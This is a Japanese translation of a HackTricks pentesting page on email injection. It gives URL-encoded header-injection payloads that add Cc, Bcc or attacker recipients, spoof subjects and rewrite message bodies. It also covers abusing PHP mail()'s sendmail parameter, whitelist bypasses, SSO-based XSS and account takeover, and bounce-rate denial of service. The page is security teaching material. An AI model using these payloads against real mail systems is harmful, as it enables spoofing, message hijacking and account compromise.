hacktricks/pentesting-web/email-injections.md

10 KiB
Raw Blame History

メールインジェクション


Trickestを使用して、世界で最も進んだコミュニティツールを駆使したワークフローを簡単に構築し、自動化します。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローに学ぶ

HackTricksをサポートする他の方法

送信されたメールにインジェクションする

送信者引数の後にCcとBccをインジェクトする

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

メッセージは、受信者とrecipient1アカウントに送信されます。

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

メッセージは元の受信者と攻撃者のアカウントに送信されます。

件名引数を注入する

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

以下の偽の件名は元の件名に追加される場合もあれば、それに置き換わる場合もあります。これはメールサービスの挙動に依存します。

メッセージ本文の変更

2行のフィードを挿入し、その後にあなたのメッセージを書いてメッセージ本文を変更します。

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail()関数の悪用

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5番目のパラメータ ($additional_parameters)

このセクションでは、攻撃者がこのパラメータを制御していると仮定して、このパラメータの悪用方法について説明します。

このパラメータは、PHPがsendmailバイナリを呼び出すために使用するコマンドラインに追加されます。ただし、escapeshellcmd($additional_parameters)関数でサニタイズされます。

攻撃者は、この場合にsendmailに追加パラメータを注入することができます。

/usr/sbin/sendmailの実装の違い

sendmailインターフェースは、システムにインストールされているMTAメールソフトウェアSendmail、Postfix、Eximなどによって提供されます。互換性のために基本機能-t -i -fパラメータなど同じですが、他の機能とパラメータはインストールされているMTAによって大きく異なります。

以下は、sendmailコマンド/インターフェースの異なるmanページの例です

sendmailバイナリの起源によって、それらを悪用してファイルを漏洩させたり、任意のコマンドを実行するための異なるオプションが発見されています。方法はhttps://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.htmlで確認してください。

メール名に注入する

無視されるメールの一部

シンボル:**+、-および{}**は、稀にタグ付けに使用され、ほとんどのメールサーバーによって無視されます

括弧()内のコメントも、始めや終わりにある場合は無視されます

ホワイトリストバイパス

引用符

IPアドレス

角括弧で囲まれたドメイン名としてIPアドレスも使用できます

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

その他の脆弱性

サードパーティSSO

XSS

githubsalesforceのようなサービスでは、XSSペイロードを含むメールアドレスを作成することができます。これらのプロバイダーを使用して他のサービスにログインでき、そのサービスがメールを正しくサニタイズしていない場合、XSSを引き起こす可能性があります。

アカウント乗っ取り

SSOサービスが与えられたメールアドレスの検証なしにアカウントを作成できる場合(salesforceのように、そのアカウントを使用してsalesforceを信頼する別のサービスにログインできる場合、任意のアカウントにアクセスできます。
salesforceは与えられたメールが検証されたかどうかを示しますが、アプリケーションはこの情報を考慮する必要があります。

Reply-To

_From: company.comReplay-To: attacker.com_を使用してメールを送信すると、メールが内部アドレスから送信されたために自動返信が送られる場合、攻撃者がその返信受け取る可能性があります。

ハードバウンス率

AWSのようなアプリケーションにはハードバウンス率AWSでは10%)があり、これが超過するとメールサービスがブロックされます。

ハードバウンスは、何らかの恒久的な理由で配信できなかったメールです。たとえば、メールが偽のアドレスであるか、メールドメインが実際のドメインではないか、メール受信者のサーバーがメールを受け入れない場合です。つまり、1000通のメールのうち100通が偽物であったり無効であったりしてすべてがバウンスした場合、AWS SESはあなたのサービスをブロックします。

したがって、ウェブアプリケーションから任意のメールアドレスにメール招待状などを送信できる場合、存在しないユーザーやドメインに何百もの招待状を送信することで、このブロックを引き起こすことができますメールサービスDoS。

参考文献

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法


世界で最も進んだコミュニティツールを駆使してワークフローを簡単に構築し自動化するためにTrickestを使用してください。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}